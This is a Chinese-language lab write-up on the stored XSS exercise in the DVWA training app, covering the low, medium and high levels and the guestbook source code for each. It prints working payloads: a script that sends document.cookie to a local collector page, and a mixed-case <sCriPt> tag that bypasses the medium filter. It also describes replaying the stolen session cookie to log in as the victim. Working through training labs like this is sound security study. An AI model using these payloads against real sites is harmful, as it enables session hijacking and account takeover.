DVWA(七):XSS(stored)存储型XSS攻击
存储型XSS :
存储XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。
提交JS攻击代码存储到数据库然后再输出。
low:
观察源码:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
1.trim函数:trim(string,charlist),用于移除字符串两边的空白字符或其他预定义字符,返回值是已经修改过的字符串。
2.mysqli_real_escape_string函数:转义SQL语句中的特殊字符,防止SQL注入。
3.stripslashes(string)函数:用于删除反斜杠
所以low级别源码并未对xss语句做任何限制。演示一下:
可以很轻松的设置弹窗和cookie。
接下来模拟攻击:
先准备一个获取cookie的脚本,(可以百度,网上的例子有很多)
现在攻击者需要把把写好的获取用户cookie的脚本存放进网站
这里注意messagelength有最大值,可F12改一下
插入JS脚本:
<pre><script>document.location='http://127.0.0.1/gaincookie.php?cookie='+document.cookie;</script></pre>
上面document.location是转向后面url指向的文件;被<pre>包裹的文本通常会保留看空格或换行符
我这里没有联网,本来应该是转向百度页面。
可以看到因为执行了我们写的php脚本获取了用户的cookie。
之后就可以利用这个cookie以被攻击者的身份登录该网站了
我们下面新建一个cookie(详细可参考我文章结尾附上的连接):
执行:
document.cookie="获取到的cookie(一般为PHPSESSID=xxxxxxxx)";
之后访问该网站即可。
ps:
phpstudy配置文件中的httpd.conf
可更改允许访问的IP,以免出现可以ping通的状态下另一台主机无法访问此主机的apache
Medium
观察源码:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
源码对于message做了诸多限制,HTML实体转义,过滤HTML标签等等,但是在name处只是过滤了<script>标签没做过多其他的限制
我们这里选择name处为注入点。
1.strip tags()函数:
2.htmlspecialchars()函数:
先做一个简单尝试:
<sCriPt>alert(123)</script> 这里限制了字符串数量 还是先改掉限制的最大参数
发现正常显示,那么之后还是换我们的JS脚本代码尝试:
<sCriPt>document.location='http://127.0.0.1/gaincookie.php?cookie='+document.cookie;</script>
发现可以成功跳转百度的域名
我们的cookie.txt文件中也增加了新的cookie
ps:
而Medium级别我网上查询发现是在后台数据库对存储内容长度是有限制的,我这里可能是因为
js语句短的原因,如果出现执行的代码最后几个字符丢失了建议缩短语句长度继续测试。
High
观察源码:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
High代码与Medium的区别是在name处用到了preg_replace函数,对name输入的值进行了正则替换,i是不区分大小写,也就是说对所有的
<script>字符进行了不区分大小的过滤。所以这里不能在使用<script>标签了。
这里好像是不可以重定向了,可以看到 cookie值 获取不到。用alert也弹不出弹框,就很郁闷
先写到这把,后面深入学习了再回来填坑....